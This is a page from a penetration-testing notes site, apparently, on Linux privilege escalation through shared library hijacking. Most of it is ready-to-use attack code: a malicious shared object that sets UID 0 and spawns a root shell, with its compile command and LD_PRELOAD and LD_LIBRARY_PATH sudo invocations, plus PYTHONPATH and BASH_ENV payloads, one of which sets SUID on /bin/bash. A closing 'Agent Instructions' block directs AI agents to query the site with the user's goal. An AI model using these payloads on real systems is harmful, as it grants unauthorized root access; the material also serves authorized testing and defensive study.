> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/shared-library-hijacking.md).

# Shared Library Hijacking

Shared library hijacking notes for abusing missing or writable shared objects loaded by privileged Linux binaries.

Shared library hijacking abuses the dynamic loader when a privileged binary loads a missing, writable, or attacker-controlled shared object. A malicious `.so` can execute code with the privileges of the loading process.

## Methodology

* Use `ldd`, `strace`, or error output to find missing or writable libraries.
* Confirm the library search path and whether the privileged binary loads the controlled object.
* Compile a minimal shared object payload and trigger the privileged binary.

## Quick Checks

```bash
ldd <binary>
strace -f <binary> 2>&1 | grep -i open
```

## LD\_PRELOAD And LD\_LIBRARY\_PATH

When a sudo rule preserves loader variables or a privileged execution path allows controlled library search paths, a malicious shared object can execute as the privileged user.

Create a minimal shared library:

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    exit(0);
}
```

Compile it:

```bash
gcc -fPIC -shared -o /tmp/evil.so /tmp/evil.c -nostartfiles
```

Use it only when the target execution context actually preserves or honors the loader variable:

```bash
sudo LD_PRELOAD=/tmp/evil.so program
LD_LIBRARY_PATH=/tmp program
```

### Sudo Environment Variables

Check whether sudo preserves dangerous variables:

```bash
sudo -l
```

Interesting `env_keep` values include:

| Variable          | Abuse Idea                                                             |
| ----------------- | ---------------------------------------------------------------------- |
| `LD_PRELOAD`      | Load a malicious shared object before normal libraries.                |
| `LD_LIBRARY_PATH` | Redirect library lookup to attacker-controlled paths.                  |
| `PATH`            | Force relative command execution through attacker-controlled binaries. |
| `PYTHONPATH`      | Load malicious Python modules in sudo-run Python code.                 |
| `PERL5LIB`        | Load malicious Perl modules in sudo-run Perl code.                     |

### PYTHONPATH Example

If a sudo rule runs Python and preserves `PYTHONPATH`:

```bash
echo 'import os; os.system("/bin/bash")' > /tmp/evil.py
export PYTHONPATH=/tmp
sudo python -c "import evil"
```

### BASH\_ENV Example

If a privileged program runs `sh` in a way that sources `BASH_ENV`, test with a controlled script:

```bash
cat > /tmp/script.sh <<'EOF'
chmod +s /bin/bash
EOF
chmod +x /tmp/script.sh
export BASH_ENV=/tmp/script.sh
/path/to/suid_binary
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-link" style="color:$primary;">:link:</i></h3></td><td><h4>libwelcome.so Shared Library Hijacking</h4></td><td>Shared Library Hijacking (libwelcome.so) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/shared-library-hijacking/libwelcome-shared-library-hijacking-linux-privilege-escalation.md">libwelcome.so Shared Library Hijacking - Linux Privilege Escalation</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/privesc/shared-library-hijacking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
